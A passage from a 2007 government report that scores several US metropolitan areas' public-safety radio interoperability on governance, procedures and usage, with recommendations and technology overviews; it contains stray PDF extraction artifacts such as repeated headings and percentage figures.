Develop, document, and implement a regional strategic plan (beyond the operational TICP) with
participant approval, adoption, and acceptance, that takes into account a long-term communications
funding strategy (beyond grants)
•
Align local and state strategic planning efforts to ensure that regional interoperability needs are met
•
Define funding strategy for regional sustainable funding sources (beyond bonds and grants) to cover
lifecycle and recurring costs to operate the area’s interoperability assets
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
The Little Rock TICP consolidated the existing interoperable communications SOPs (e.g., state and local
mutual aid agreements) into a regional plan. Since these SOPs were already well established and used
frequently, the public safety agencies in the area were well positioned to adopt the TICP. The TICP has been
disseminated to dispatch centers, but not to all included agencies in the area. In the TICP validation exercise,
despite a minor issue with radio channel designation, the area was largely successful in the use of its
documented procedures. The Little Rock area has adopted National Incident Management System
(NIMS)/Incident Command System (ICS) and has been implementing it within the last year. During the
exercise, participants successfully demonstrated familiarity with NIMS/ICS (e.g., unambiguous designation
15%
20%
20%
20%
15%
20%
20%
20%
Urban/Metropolitan Area
B-7
January 2007
Tactical Interoperable Communications Scorecards
of Communications Unit Leader, ICS Form 205 developed, updated and distributed, clear establishment of
unified command).
Recommendations:
•
Develop regional training policies and requirements for inclusion in the TICP
•
Ensure consistent reference in the TICP regarding “NIMS is recommended” and “NIMS is required”
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Established Implementation
15%
20%
20%
20%
The area frequently uses its interoperable communications solutions (i.e., shared channels and shared
systems) frequently for task force and mutual aid incidents. Additionally, officials in the area report
proficiency during real-world events (e.g., use of shared channels during river rescues). During the TICP
validation exercise, the participants were able to establish interoperable communications despite some
minimal technical difficulty (e.g., inconsistent naming conventions for shared channels caused confusion).
While the exercise met the stated requirements, it did not provide the opportunity to demonstrate
interoperable communications with federal agencies in the area. The area is encouraged to build on its local
exercise success by further integrating state, federal, and support agencies in future events.
Recommendations:
•
Continue to involve state and federal agencies (e.g., State Police, Federal Bureau of Investigation) in
day-to-day events and future exercises
•
Consider adding interoperable communications as an evaluation component for all future exercises and
day-to-day activities
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The area has one 800 megahertz, Motorola communications system that is shared by most agencies. However,
interoperable talk groups have yet to be programmed into all radios, and different disciplines and jurisdictions have
different profiles. No gateways are available, and the primary means of interoperable communications currently
consists of shared conventional channels (e.g., National Public Safety Planning Advisory Committee channels and
Hospital Emergency Administrative Radio channels).
The Little Rock area is adding talk groups to its fleet map to increase interoperability. Plans at the state level are
unknown, although personnel from both the state and Little Rock have participated in the TICP validation exercises to
gain insight into interoperability options and procedures.
Urban/Metropolitan Area
B-8
January 2007
Tactical Interoperable Communications Scorecards
Connecticut Region 1
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Intermediate Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Established Implementation
Connecticut’s metropolitan area, also known as Region 1, includes the following jurisdictions: Bridgeport,
Darien, Easton, Fairfield, Greenwich, Monroe, New Canaan, Norwalk, Stamford, Stratford, Trumbull,
Weston, Westport, and Wilton.
Governance: Intermediate Implementation
10%
10%15%
15%
Connecticut’s Region 1 Communications Working Group reports to the Emergency Support Function II
communications subcommittee, and includes local, state, and federal agencies within the area (e.g.,
transportation, public health, state police, U.S. Coast Guard, Federal Bureau of Investigation). Although it is
still early in the regional coordination process, the Region 1 is taking steps toward formalizing partnerships
and written agreements (e.g., memorandum of understanding [MOU]) among the area’s organizations. The
area has been involved in strategic planning efforts but does not yet have a formalized strategic plan for
regional interoperable communications, which prevents their alignment to collective, regional interoperable
communications goals. Through both local resources and federal grants, organizations within the area
develop their budgets and procure equipment with consideration for interoperability across the area;
sustainable funding for interoperability solutions though has not been defined. The leadership in the Region
1 appears to be providing the needed level of political and fiscal support for regional interoperable
communications; the governor has issued an executive order for interoperability, and some local financial
resources have been dedicated to funding interoperability equipment and solutions.
Recommendations:
•
Establish the Region 1 Communications Working Group through a formal charter and document roles
and responsibilities of all participating agencies as part of the group
•
Reference by date, title, or document number, all applicable agreements (e.g., MOUs, intergovernmental
agreements) in the Tactical Interoperable Communications Plan (TICP) and store them in an accessible
format
•
Document and formalize agreements (e.g., signed MOUs with defined roles and responsibilities) among
all participating agencies relating to regional interoperability
•
Establish a regular review process to ensure that agreements remain current and relevant
•
Develop, document, and implement a regional strategic plan (beyond the operational TICP) with
participant approval, adoption, and acceptance, that takes into account a long-term communications
funding strategy (beyond grants)
•
Align local and state strategic planning efforts to ensure that regional interoperability needs are met
•
Initiate the development and implementation of a regional approach to long-term (e.g. 3 to 5 years)
sustainable funding that is consistent with the strategic plan
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
Region 1 incorporated existing policies and procedures into the TICP. Since these SOPs were already well
established and used frequently, the public safety agencies in the area were well positioned to adopt the
15%
20%
20%
20%
10%
10%15%
15%
15%
20%
20%
20%
Urban/Metropolitan Area
B-9
January 2007
Tactical Interoperable Communications Scorecards
TICP. The area has taken steps to disseminate these SOPs (e.g., distributed to all included organizations and
dispatch centers, held the TICP Implementation Workshop) to also ensure their swift adoption. During the
TICP validation exercise overall, participants were able to demonstrate familiarity in executing their SOPs,
but experienced a few minor procedural problems. The Region 1 began implementing National Incident
Management System (NIMS)/Incident Command System (ICS) less than 1 year ago, which implies that the
area is still in the earlier stages of implementing NIMS/ICS policies and procedures. Despite the short time
frame for implementation, the area has included both first responders and other public safety organizations
(e.g., public health) in the implementation and training. During the exercise, participants were able to
demonstrate familiarity with NIMS/ICS, but did not demonstrate proficiency in all areas reviewed during the
exercise (e.g., ICS Form 205 not distributed).
Recommendations:
•
Update the TICP to incorporate all available interoperable communications equipment (e.g.,
inconsistencies with gateways in the TICP)
•
Continue to regularly review and update policies and procedures
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Established Implementation
15%
20%
20%
20%
The Region 1 reports regular use of its available means of interoperable communications (e.g., shared
channels, gateways, shared systems) in day-to-day operations. Additionally, officials in the area reported
demonstrated success during real-world events in the area (e.g., multijurisdictional pursuit of a suspect).
During the TICP validation exercise, evaluators indicated that Region 1 responders did a “good job” of
establishing tactical interoperable communications between both local and regional responders. However,
during the exercise users did not understand the limitations of their shared channels.
Recommendations:
•
Regularly test and exercise deployment of regional interoperability resources to improve proficiency
(e.g., radio cache, shared channels)
•
Consider adding interoperable communications as an evaluation component for all future exercises and
day-to-day activities
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
Fairfield County consists of 14 towns and cities with at least 26 different public safety radio systems. The only
interoperability among public safety agencies in the area is the 800 megahertz (MHz) ITAC/ICALL channels and the
Statewide Tactical On-Scene Communication System (STOCS). STOCS, which provides shared channels across the
very high frequency, ultra high frequency, and 800 MHz bands, had not been fully implemented at the time of the TICP
validation exercise.
The State of Connecticut is planning on implementing STOCS in all counties. Region 1 is planning to continue training
on and using the ITAC/ICALL channels as well as gateways and other interoperability solutions throughout Region 1
and the rest of the state.
Urban/Metropolitan Area
B-10
January 2007
Tactical Interoperable Communications Scorecards
Wilmington (Delaware)
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Established Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Established Implementation
Delaware designated the City of Wilmington as its metropolitan area (area), which includes the counties of
Kent, New Castle, and Sussex.
Governance: Established Implementation
15%
20%
20%
20%
Wilmington’s Tactical Interoperable Communication Plan (TICP) was expanded to cover the state as a whole
rather than one metropolitan area. This is consistent with the statewide communications infrastructure, as
well as the governance structure that was established by the Governor 3 years ago. This governance group is
known as the “Next Generation Committee” and is composed of state and local agencies from all first
responder disciplines, as well as additional public support services. The group has a charter with active rules
and agreements in place, and has stressed the importance of interoperability by creating funding strategies
through 2008. Although Wilmington has developed a strategic plan that covers the entire state, it has not yet
been fully adopted by all participating organizations, and it is not reviewed/updated annually. Having a
published strategy will help ensure statewide compliance with the plan as public safety and state
organizations continue to move toward achieving communications interoperability.
Recommendations:
•
Suggest continuing to proactively recruit other members that need to be part of the group, including
federal participants that are present in the area (e.g., U.S. Coast Guard)
•
Encourage full adoption of the strategic plan with acceptance from all participants, and with reviews and
updates on an annual basis
•
Encourage a regional communications interoperability funding strategy, including long-term (e.g., 3 to 5
years) funding sources (in addition to grants)
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
Wilmington had pre-existing SOPs, primarily for its two major 800 megahertz (MHz) systems, which were
incorporated in the TICP. As a result, the TICP was expanded to cover all three counties in the state. These
policies have begun to be disseminated, and Wilmington is in the process of incorporating the TICP into the
Delaware Emergency Operations Plan and as a requirement in all exercises. It was noted at the TICP
validation exercise that plain language was not used at the incident. Delaware is also in the process of
implementing National Incident Management System (NIMS)/Incident Command System (ICS) and the
Communications Unit Leader duties. As detailed in its post-exercise Improvement Plan, gaps in these areas
(e.g., plain language not used) will be addressed through additional training and exercises. For example, it
was noted at the TICP validation exercise that there was a lack of unified command at the incident, and two
separate, distinct incident command structures were in place. These instances illustrate opportunities for
training to improve communications command and control. According to the After Action Report,
Delaware’s “public service agencies have a solid foundation in their approach to emergencies and they know
their plan and procedures well.” The state’s team approach, including the city and county agencies, is
commendable, and should be considered a best practice.
15%
20%
20%
20%
15%
20%
20%
20%
15%
20%
20%
20%
Urban/Metropolitan Area
B-11
January 2007
Tactical Interoperable Communications Scorecards
Recommendation:
•
Initiate basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Established Implementation
15%
20%
20%
20%
Wilmington achieves communications interoperability through a shared system and fixed gateways.
However, to more fluently use the mobile gateway system, additional training is needed. The majority of
agencies are using the state’s 800 MHz statewide shared system, which provides interoperability on a daily
basis. The use of these systems was successfully demonstrated during the TICP validation exercise, allowing
local and regional first responders to communicate with each other effectively. The exercise evaluators
indicate that because of technical failures that impeded the proper implementation of the mobile command
center equipment, additional training was needed to operate the state’s mobile gateways. The gateways
would likely be necessary to support federal agencies or responders from other states during a large scale
incident.
Recommendations:
•
Continue to conduct training on available technology (e.g., mobile gateway system) to improve
familiarity with the capability and work toward seamless integration
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
TTTTechnology Overview
echnology Overview
echnology Overview
echnology Overview
The Wilmington area uses two large interconnected 800 MHz radio systems. The State of Delaware operates on an 800
MHz SmartZone™, and the City of Wilmington operates an 800 MHz SMARTNET™ system. The state has six radio
caches (five in the 800 MHz band, and one in the ultra high frequency band), and has three types of gateway devices
available for use. Statewide communications interoperability is also supported by the use of the five National Public
Safety Planning Advisory Committee frequencies.
Urban/Metropolitan Area
B-12
January 2007
Tactical Interoperable Communications Scorecards
Ada County (Idaho)
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Advanced Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Established Implementation
Idaho designated Ada County as its metropolitan area (area), which includes unincorporated portions of Ada
County; the cities of Boise, Eagle, Garden, Kuna, Meridian, and Star; and the Boise Air Terminal.
Governance: Advanced Implementation
Communications interoperability is a clear priority for Ada County as demonstrated in the breadth of
membership in the Ada County (Idaho) Emergency Communications Planning Committee (ECPC) (e.g.,
Idaho State Communications). Ada County is currently moving to a new system, and agreements are
regularly updated among all agencies to facilitate the transition. Ada County has a strategic plan in place for
interoperability that includes fire, public works, and hazardous materials agencies. Organizations within Ada
County consider multi-agency interoperability (e.g., interoperability with the area’s countywide system)
when procuring communications equipment and have dedicated local funding (e.g., 9-1-1 tax) for new
technology, upgrades, and maintenance, which reduces the area’s reliance on federal grants for
interoperability funding. The Ada County Sheriff is the approving authority in the area and, along with the
governor, has shown political and fiscal support for communications interoperability across the area. With
such success in the area of communications governance, Ada County should consider expanding its
communications interoperability efforts with surrounding jurisdictions outside of the area.
Recommendations:
•
Proactively recruit new participants, including regional, state, and federal agencies (e.g., Federal Bureau
of Investigation, Bureau of Land Management), and define roles and responsibilities for all governance
group members
•
Review the strategic plan annually
•
Align regional and state strategic planning efforts to ensure that regional interoperability needs are met
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
Ada County has long-established SOPs for interoperability within the county and has disseminated them to
participating agencies. The area used existing policies and procedures in creating the Tactical Interoperable
Communications Plan (TICP). Many of the regional SOPs were not followed during the TICP validation
exercise, which demonstrates the need for further dissemination of and training on these policies and
procedures beyond Ada County. National Incident Management System (NIMS)/Incident Command System
(ICS) was implemented in Ada County more than 1 year ago, and the exercise evaluators noted that the
performance of the acting Communications Unit Leader was “noteworthy” during the exercise. Because of
the limited scope of the exercise, assessing the use of regional SOPs and command and control in a
multijurisdictional environment (beyond Ada County agencies) was difficult. According to the After Action
Report, the participants did not demonstrate proficiency with regional SOPs (e.g., when gateways were used,
the TICP gateway request and deactivation procedures were not followed).
15%
20%
20%
20%
15%
20%
20%
20%
Urban/Metropolitan Area
B-13
January 2007
Tactical Interoperable Communications Scorecards
Recommendations:
•
Ensure all participating agencies review and understand SOPs (e.g., gateway SOPs)
•
Ensure that SOPs are consistent with regional and statewide interoperability communications plans
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Established Implementation
15%
20%
20%
20%
Ada County reports daily use of shared channels, gateways, and the county’s shared system. All available
interoperability methods (i.e., shared channels, gateways, shared system) were successfully demonstrated
during the TICP validation exercise. The limited scope of the exercise did not necessitate much cross-
jurisdictional communications, but the Boise Bomb Squad, a regional first responder resource, was able to
effectively communicate when the scenario required it. The successful TICP validation exercise can serve as
a model for future cross-jurisdictional exercises. Dispatchers appeared somewhat unfamiliar with identifying
and manipulating existing patches, but the patch was used successfully to connect multiple agencies.
Officials in Ada County suggest that area agencies’ response to recent day-to-day events with confident and
successful use of available interoperability solutions has further demonstrated the Ada County public safety
community’s frequent use of and familiarity with communications interoperability resources.
Recommendations:
•
Regularly test and exercise the deployment of regional communications interoperability resources to
improve user proficiency (e.g., gateways)
•
Consider adding interagency/multijurisdictional communications interoperability (including federal
agencies) as a component for all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
Ada County communications are currently fragmented between the very high frequency (VHF) band and the ultra high
frequency (UHF) band. Law enforcement agencies primarily operate on the UHF band while fire agencies and
emergency medical services use the VHF band. This situation will be rectified when Ada County agencies transition to
the new 700 megahertz (MHz) digital Project 25 (P25)-compliant trunked system. The transition is scheduled to be
complete by the end of the first quarter of calendar year 2007.
While the Idaho Statewide Interoperability Executive Council released a plan in July 2005 that focuses on the 700 MHz
statewide P25-compliant backbone, cost issues will probably force the state to an integrated P25 solution using 700
MHz primarily in populated areas and a combination of UHF and VHF in rural areas. Because 65 percent of the land in
Idaho is federally owned, the VHF band will probably be used for coordination with federal agencies as well.
Urban/Metropolitan Area
B-14
January 2007
Tactical Interoperable Communications Scorecards
Ottumwa (Iowa)
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Early Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Intermediate Implementation
Iowa designated the City of Ottumwa as its metropolitan area (area), which includes the Ottumwa
Metropolitan Area consists of Poweshiek, Iowa, Marion, Mahaska, Keokuk, Washington, Lucas, Monroe,
Wapello, Jefferson, Henry, Decatur, Wayne, Appanoose, Davis, Van Buren, and Lee counties.
Governance: Early Implementation
10%5%
5%
5%
Although officials noted that the Emergency 911 (E911) Board deals with equipment interoperability and
that the Total Quality Improvement (TQI) group addresses general public safety issues, the relationship
among the two groups and their decision-making responsibilities and authorities for ensuring interoperable
communications in the area is not clearly documented. Ottumwa has some agreements in place (e.g., South
East Iowa Response Group formal mutual aid agreements) and a mix of formal and informal partnerships
among the agencies in the area. Formalizing these partnerships through documented agreements will ensure
regionwide participation in achieving interoperable communications. Although strategic planning efforts
exist broadly for public safety issues, the area does not have a specific strategy focused on improving
interoperable communications. The area procures communications equipment based on agency-specific
needs and does not have a long-term or regionwide funding plan addressing interoperability. Additionally,
officials in the area indicated that leadership had only recently become aware of the need for and challenges
of public safety interoperable communications.
Recommendations:
•
Clarify how the two decision-making groups (i.e., E911 Board and TQI committee) are related through a
formalized charter and define roles and responsibilities of each of the groups
•
Develop regional interoperability agreements (e.g., memoranda of understanding) beyond the existing
mutual aid agreements and involve all participant agencies
•
Consider including interoperable communications as part of the overall strategic planning process
•
Develop, document, and implement a regional strategic plan (beyond the operational focus of the
Tactical Interoperable Communication Plan [TICP]) with participant approval, adoption, and acceptance
that takes into account a long-term communications funding strategy (beyond grants)
•
Begin to prioritize and identify funding sources to meet regional interoperability needs and identify long-
term (e.g., 3 to 5 years) sustainable funding for communications interoperability beyond grants
•
Identify a champion(s) that would more fully support a regional strategic plan for interoperability
•
Raise communications interoperability priority across the area and broadly involve senior government
leadership
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20% 20%
Ottumwa has had a multihazard response plan (containing components addressing general communications
provisions) in place for more than 20 years; however, the TICP represents the first regional SOPs for
interoperable communications. Most of the first responder agencies in the area participated in the TICP
development, and the area has plans to disseminate these SOPs to agencies in the area in the future. Until
10%
10%15%
15%
10%5%
5%
5%
15%
20%
20%
20%
Urban/Metropolitan Area
B-15
January 2007
Tactical Interoperable Communications Scorecards
this distribution occurs, there is no way to ensure that agencies are fully informed of the procedures to
achieve interoperable communications. Ottumwa has implemented and has been practicing SOPs compliant
with the National Incident Management System (NIMS)/Incident Command System (ICS) for more than 1
year and was able to demonstrate familiarity with command and control communications during its TICP
validation exercise. However, during the TICP validation exercise, there were indicators that more practice
of command and control SOPs is needed. For example, during the exercise, the Communications Unit
Leader was pre-designated but did not demonstrate a full understanding of the responsibilities, ICS forms
were not completed, and participants did not use plain language.
Recommendations:
•
Document and distribute regional interoperability SOPs (beyond the TICP) and put them into practice
through regular training (e.g., in-service refreshers and basic training courses), exercises, and usage
•
Consider developing policy on use and limitations of commercial services (e.g., cellular telephones)
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Intermediate Implementation
10%
10%15%
15%
Within the limited scope of the TICP validation exercise (e.g., exercise participants represented mainly
Ottumwa County and not other jurisdictions in the area), the participants demonstrated an understanding of
the available interoperable communications equipment (radio caches and shared channels). However,
because only two local agencies beyond Ottumwa County were represented in the exercise (e.g., Wapello
County Sheriff’s Department, Southeast Iowa Response Group). The participants encountered usage issues,
such as interference on the statewide mutual aid channel, when attempting to leverage interoperability
solutions.
Recommendations:
•
Follow the recommendations provided to the area in the Exercise Evaluation Guide (e.g., address
interference issues, available frequencies, radio cache protocols)
•
Regularly test and exercise deployment of regional interoperability communications resources (e.g.,
cached radios, shared channels) to improve proficiency of use
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area's existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The Ottumwa Police Department uses an ultra high frequency radio system, while most other public safety entities, such
as the Ottumwa Fire Department and emergency medical services, use very high frequency (VHF) radio systems.
Interoperability is limited to four VHF cache radios and three shared channels that are only shared within disciplines
rather than across disciplines. There are no interoperability gateways or shared systems available.
For the future, the State of Iowa is planning to purchase a Raytheon ACU-1000M interoperability gateway with 2
dedicated portable radios for each of the 17 counties (including Wapello County) in Iowa Homeland Security Region 5.
Additionally, the state is planning to establish a radio cache of 10 portable radios for each Region 5 county. The radio
cache frequency band would be decided by each county.
Urban/Metropolitan Area
B-16
January 2007
Tactical Interoperable Communications Scorecards
Topeka (Kansas)
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Established Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Advanced Implementation
Kansas designated the City of Topeka as its metropolitan area (area), which includes the City of Topeka and
Shawnee County, as well as entities located within the county.
Governance: Established Implementation
15%
20%
20%
20%
The Communications Management Board serves as the regional decision-making group for the area. The
board has the authority and mission to manage regional interoperability, and members include city and
county law enforcement and fire services. It is unclear how well emergency medical services (EMS) is
represented within the decision-making group. The area has formal agreements (e.g., shared user agreements
and other interlocal governmental agreements) with local public safety organizations. The area has a
strategic plan for interoperable communications in place; however, it is unclear how regularly the plan is
reviewed. The area has provided for long-term regional fiscal support for interoperable communications
systems through a tax in place on landline and cellular telephones. The area’s leadership should be
commended for involving all participating agencies in prioritizing communications interoperability, and
identifying long-term sustainable funding.
Recommendations:
•
Ensure decision-making group membership represents all first responders and public support disciplines
(e.g., EMS, hospitals, public health)
•
Establish processes to develop and review agreements (e.g., usage agreements, memoranda of
understanding) at least every 3 to 5 years and after significant events or upgrades
•
Update regional strategic plan annually and after system upgrades and significant events
•
Align local and statewide strategic planning efforts to ensure that regional interoperability needs are met
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20% 20%
Previously existing agreements (e.g., Mutual Agreements for Regional Dispatch Center, and Originating
Agency Identifier Agreements) were incorporated into the Topeka Tactical Interoperable Communications
Plan (TICP). The area has begun to disseminate these SOPs through the TICP Implementation Workshop
and by including them with the gateways. National Incident Management System (NIMS)/Incident
Command System (ICS) was implemented more than 1 year ago, and a wide variety of public support
organizations (e.g., hospitals, churches) are being trained on these processes. During the TICP validation
exercise, participants experienced some communications command and control problems attributable to a
failure of NIMS/ICS (e.g., law enforcement communications bypassed the Operations section chief, multiple
Operations command nets [one per branch] were established, common terminology and standard naming
conventions were not always used).
Recommendations:
•
Continue to distribute regional interoperability SOPs (beyond the TICP), to all participating agencies and
dispatch centers
15%
20%
20%
20%
15%
20%
20%
20%
Urban/Metropolitan Area
B-17
January 2007
Tactical Interoperable Communications Scorecards
•
Consider developing policy on avoiding use of commercial services (e.g., cellular telephones) for
mission-critical communications
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Advanced Implementation
The Topeka area frequently uses its available means of interoperable communications (e.g., gateways and
shared systems). During the exercise, the participants effectively established interoperable communications
among agencies, and participant’s demonstrated proficiency and familiarity with the equipment (e.g., cache
radios, gateways, shared channels, and shared systems). There was a good level of participation from local,
state, and federal agencies (e.g., railroads, Kansas Highway Patrol, Federal Bureau of Investigation). The
area should be commended on its effective use of amateur radio during day-to-day communications unit
staffing, via its amateur communications capability program, to reduce the dispatch workload in times of
heavy traffic. Topeka Amateur Radio Emergency Services also demonstrated knowledge and effective use
of the available interoperability solutions (e.g., gateway).
Recommendation:
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The State of Kansas identified the City of Topeka as its focus for the TICP. All major public safety and governmental
agencies in the City of Topeka operate on an 800 megahertz, Motorola SMARTNET™ system. The system consists of
approximately 70 agencies and 250 talk groups. All radios have been configured with interoperability channels listed as
Event 1, Event 2, and Event 3. Law enforcement and fire radios use common channels. All radios have been
programmed with National Public Safety Planning Advisory Committee channels.
Shawnee County uses a Motorola 2-site, 15-channel, simulcast, trunked system. The system was developed in
partnership with the Kansas Department of Transportation. The state is a licensee of the system while the county
provides the infrastructure and assists in system maintenance. In addition, the county has use of two conventional
channels: a mutual aid call and mutual aid Tactical (TAC) and has recently updated the controllers in its east and west
radio sites.
The State of Kansas point of contact has stated intentions to develop TICPs for other major metropolitan centers using
Topeka plan as a model. The current status of these intentions is unknown. Plans for such efforts are developed by the
Kansas Department of Transportation, which also maintains the radio system for the Kansas Highway Patrol. The state
system is planned to be expanded to allow other counties to buy or lease radios and rent space on the system. The state
is also expecting to transition to a digital system soon.
Urban/Metropolitan Area
B-18
January 2007
Tactical Interoperable Communications Scorecards
Portland (Maine)
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Established Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Advanced Implementation
Maine designated the City of Portland as its metropolitan area (area), which includes the following counties:
Androscoggin, Aroostook, Cumberland, Franklin, Hancock, Kennebec, Knox, Lincoln, Oxford, Penobscot,
Piscataquis, Sagadahoc, Somerset, Waldo, Washington, and York.
Governance: Established Implementation
15%
20%
20% 20%
The Portland area has a communications-specific committee made up of agency directors and department
commissioners from public safety, emergency medical services, and the Federal Emergency Management
Agency (among others). The area indicated that multiple groups were addressing interoperability in the area
(State of Maine Homeland Security Advisory Council [HSAC], Tactical Interoperable Communications Plan
(TICP) Working Group, Radio Network Board, and the communications-specific Concept of Operations
[CONOPS] group), and it appears that the decision-making authority and the implementation responsibilities
are not clearly defined among them. There is strong state support for the planning that has occurred to date,
but the area appears to lack sufficient local representation (from Portland) in implementing the TICP.
Formal agreements are in practice among all organizations in the area, which are regularly updated and
distributed. Beyond the operational TICP, there was no reference to a strategic plan for interoperable
communications other than the CONOPS plan that outlined operational means of interoperability (e.g.,
simplex frequencies licensed to the State of Maine for certain circumstances). Despite the lack of a
documented long-term strategy or a specific plan for sustainable funding of interoperable communications,
the organizations develop their budgets and procure communications equipment with consideration for
regional interoperable communications goals through federal funds and state and local resources. State and
local leadership has made interoperability a fiscal priority by obtaining and allocating grant monies and state
resources to communications.
Recommendations:
•
Clarify the decision-making authority and the implementation responsibilities of the governing bodies
(i.e., State of Maine HSAC, communications specific CONOPS group, Radio Network Board, TICP
Working Group) through a formalized charter and ensure local first responder participation
•
Share formal agreements (e.g., memoranda of understanding) with other areas as a best practice
•
Develop, document, and implement a regional strategic plan (beyond the operational focus of the TICP
and CONOPS) that includes longer term regional goals, regulatory changes, and a long-term (e.g., 3 to 5
years) communications funding strategy beyond grants
•
Align local and statewide strategic planning efforts to ensure that regional interoperability needs are met
•
Consider developing funding plans jointly as a area to maximize shared resources
•
Consider the direct involvement of a high-level official(s), with political and fiscal authority, to
specifically focus on interoperability
•
Communicate the success of the TICP to gain further leadership support
15%
20%
20%
20%
15%
20%
20%
20%
Urban/Metropolitan Area
B-19
January 2007
Tactical Interoperable Communications Scorecards
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
The Portland metropolitan area has demonstrated success in incorporating existing mutual aid agreements
(State of Maine CONOPS) involving interoperability into the Portland TICP. The area held a TICP
Implementation Workshop to inform and train participants in the plan, but no further regional dissemination
of these SOPs to additional agencies is evident. Portland is beginning to implement National Incident
Management System (NIMS)/Incident Command System (ICS) and encountered only minor command and
control problems during the exercise (e.g., Communications Unit Leader announcement was not included as
part of the TICP, ICS Form 205 was not updated).
Recommendations:
•
Continue distributing regional interoperability SOPs (beyond the TICP), to all participating agencies and
dispatch centers
•
Initiate basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Advanced Implementation
The Portland area regularly uses shared channels and shared systems in day-to-day operations. During the
exercise, the participants effectively established interoperable communications and demonstrated proficiency
and familiarity with the available interoperability equipment (e.g., successfully provided tactical
interoperable communications through the use of shared channels and systems). For example, South
Portland used Maine CONOPS channels for incident communications while Portland agencies used their 800
megahertz (MHz) system. There was a good level of participation from local, state, and federal agencies
(e.g., Cumberland County Emergency Management Agency, Maine Emergency Management Agency, U.S.
Coast Guard), and the area should be commended for establishing a communications governance agreement
(designated to share communication channels and capabilities) among the local agencies and the U.S. Coast
Guard.
Recommendation:
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The State of Maine uses the Maine State Communication Network Program, a very high frequency (VHF) high band
system intended to support all state-level public safety agencies. The State of Maine Department of Transportation uses
a VHF low band system. Additionally, local and county radio systems are independently managed and operated.
Specific shared interoperable communications channels are described by the Maine CONOPS. The CONOPS is fully
functional within the cities of Portland and South Portland. In addition, the City of Portland supports 800 MHz ICALL
and ITAC1 as standard National Public Safety Planning Advisory Committee channels, but coverage is limited to the I-
95 corridor. Gateways consisting of audio bridges, console patches, and crossband repeaters are used by various
agencies. The City of Portland supports local agencies using an 800 MHz Motorola SMARTNET™ I System and has a
halo of VHF stations that link into its 800 MHz system, which allows city practitioners to communicate with the
surrounding communities on the VHF band. In the near term, the area’s emphasis is on extending the CONOPS
concept throughout the state. Mid-term and long-term planning includes improving interoperability among the major
cities, as well as the local and county independently managed systems.
Urban/Metropolitan Area
B-20
January 2007
Tactical Interoperable Communications Scorecards
Jackson (Mississippi)
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Intermediate Implementation
Standard Operating Procedures:
Intermediate Implementation
Usage:
Intermediate Implementation
Mississippi designated the City of Jackson as its metropolitan area (area), which includes the counties of
Hinds, Madison, and Rankin.
Governance: Intermediate Implementation
10%
10%15%
15%
The Mississippi Wireless Communications Commission established the Mississippi Capitol Region (MCR)
Committee (MCRC) to develop the Tactical Interoperable Communications Plan (TICP) and is beginning to
establish interoperability as a priority in the area. Although the area has taken a positive step in establishing
the governance group, it would benefit from a clearer statement of its mission and responsibilities (possibly
through updating the charter). The decision-making group does not meet regularly; therefore, it appears that
the group cannot adequately address interoperability issues among Rankin and Hinds counties (identified in
the After Action Report). It appears that statewide mutual aid agreements were the sole published and active
agreements in place to ensure interoperability before the TICP and that there are no agreements specifically
for the purpose of interoperability. The area is working on developing a strategic plan, and once completed,
it will need to be distributed to regional public safety agencies. Regional leadership and local jurisdictions
within MCR appear to be working to develop a regional plan upon which to base budgets and procurement
decisions.
Recommendations:
•
Establish regularly scheduled MCRC meetings and expand MCRC membership to appropriate
jurisdictional levels (e.g., local, state, and federal representation)
•
Document and put into practice agreements (e.g., memoranda of understanding) among all participating
